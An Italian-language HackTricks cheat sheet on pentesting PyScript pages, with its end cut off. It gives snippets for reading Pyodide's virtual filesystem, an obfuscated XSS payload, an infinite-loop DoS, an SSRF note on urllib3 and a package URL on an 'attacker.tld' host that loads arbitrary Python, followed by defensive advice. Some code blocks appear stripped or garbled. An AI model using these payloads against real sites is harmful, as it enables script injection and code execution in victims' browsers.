# Pyscript {{#include ../../banners/hacktricks-training.md}} ## Guida al Pentesting con PyScript PyScript è un nuovo framework sviluppato per integrare Python in HTML, quindi può essere utilizzato insieme a HTML. In questo cheat sheet, troverai come utilizzare PyScript per i tuoi scopi di penetration testing. ### Dumping / Recupero di file dal filesystem virtuale di Emscripten: `CVE ID: CVE-2022-30286`\ \ Codice: ```html with open('/lib/python3.10/site-packages/_pyodide/_base.py', 'r') as fin: out = fin.read() print(out) ``` ![](https://user-images.githubusercontent.com/66295316/166847974-978c4e23-05fa-402f-884a-38d91329bac3.png) ### [OOB Data Exfiltration del filesystem di memoria virtuale Emscripten (monitoraggio della console)](https://github.com/s/jcd3T19P0M8QRnU1KRDk/~/changes/Wn2j4r8jnHsV8mBiqPk5/blogs/the-art-of-vulnerability-chaining-pyscript) `CVE ID: CVE-2022-30286`\ \ Codice: ```html x = "CyberGuy" if x == "CyberGuy": with open('/lib/python3.10/asyncio/tasks.py') as output: contents = output.read() print(contents) print(' ') ``` ![](https://user-images.githubusercontent.com/66295316/166848198-49f71ccb-73cf-476b-b8f3-139e6371c432.png) ### Cross Site Scripting (Ordinario) Codice: ```python print("") ``` ![](https://user-images.githubusercontent.com/66295316/166848393-e835cf6b-992e-4429-ad66-bc54b98de5cf.png) ### Cross Site Scripting (Python Offuscato) Codice: ```python sur = "\u0027al";fur = "e";rt = "rt" p = "\x22x$$\x22\x29\u0027\x3E" s = "\x28";pic = "\x3Cim";pa = "g";so = "sr" e = "c\u003d";q = "x" y = "o";m = "ner";z = "ror\u003d" print(pic+pa+" "+so+e+q+" "+y+m+z+sur+fur+rt+s+p) ``` ![](https://user-images.githubusercontent.com/66295316/166848370-d981c94a-ee05-42a8-afb8-ccc4fc9f97a0.png) ### Cross Site Scripting (Offuscamento JavaScript) Codice: ```html prinht("" "") ``` ![](https://user-images.githubusercontent.com/66295316/166848442-2aece7aa-47b5-4ee7-8d1d-0bf981ba57b8.png) ### Attacco DoS (Ciclo infinito) Codice: ```html while True: print("                              ") ``` ![](https://user-images.githubusercontent.com/66295316/166848534-3e76b233-a95d-4cab-bb2c-42dbd764fefa.png) --- ## Nuove vulnerabilità e tecniche (2023-2025) ### Server-Side Request Forgery tramite redirect non controllati (CVE-2025-50182) `urllib3 < 2.5.0` ignora i parametri `redirect` e `retries` quando viene eseguito **all'interno del runtime Pyodide** che viene fornito con PyScript. Quando un attaccante può influenzare gli URL di destinazione, può forzare il codice Python a seguire redirect cross-domain anche quando lo sviluppatore li ha esplicitamente disabilitati ‑ bypassando effettivamente la logica anti-SSRF. ```html ``` Patched in `urllib3 2.5.0` – aggiorna il pacchetto nella tua immagine PyScript o fissa una versione sicura in `packages = ["urllib3>=2.5.0"]`. Vedi l'entry CVE ufficiale per i dettagli. ### Caricamento di pacchetti arbitrari e attacchi alla supply chain Poiché PyScript consente URL arbitrari nella lista `packages`, un attore malintenzionato che può modificare o iniettare configurazioni può eseguire **Python completamente arbitrario** nel browser della vittima: ```html packages = ["https://attacker.tld/payload-0.0.1-py3-none-any.whl"] ``` *Solo le ruote pure-Python sono necessarie – non è necessario alcun passaggio di compilazione WebAssembly.* Assicurati che la configurazione non sia controllata dall'utente e ospita ruote fidate sul tuo dominio con HTTPS e hash SRI. ### Modifiche alla sanificazione dell'output (2023+) * `print()` inietta ancora HTML grezzo ed è quindi soggetto a XSS (esempi sopra). * Il nuovo helper `display()` **escapa l'HTML per impostazione predefinita** – il markup grezzo deve essere racchiuso in `pyscript.HTML()`. ```python from pyscript import display, HTML display("escaped") # renders literally display(HTML("not-escaped")) # executes as HTML -> potential XSS if untrusted ``` Questo comportamento è stato introdotto nel 2023 ed è documentato nella guida ufficiale ai Built-ins. Fai affidamento su `display()` per input non attendibili ed evita di chiamare `print()` direttamente. --- ## Pratiche Difensive Migliori * **Mantieni i pacchetti aggiornati** – aggiorna a `urllib3 >= 2.5.0` e ricostruisci regolarmente i pacchetti che vengono forniti con il sito. * **Limita le fonti dei pacchetti** – fai riferimento solo ai nomi di PyPI o agli URL della stessa origine, idealmente protetti con Sub-resource Integrity (SRI). * **Rafforza la Content Security Policy** – vieta JavaScript inline (`script-src 'self' 'sha256-…'`) in modo che i blocchi `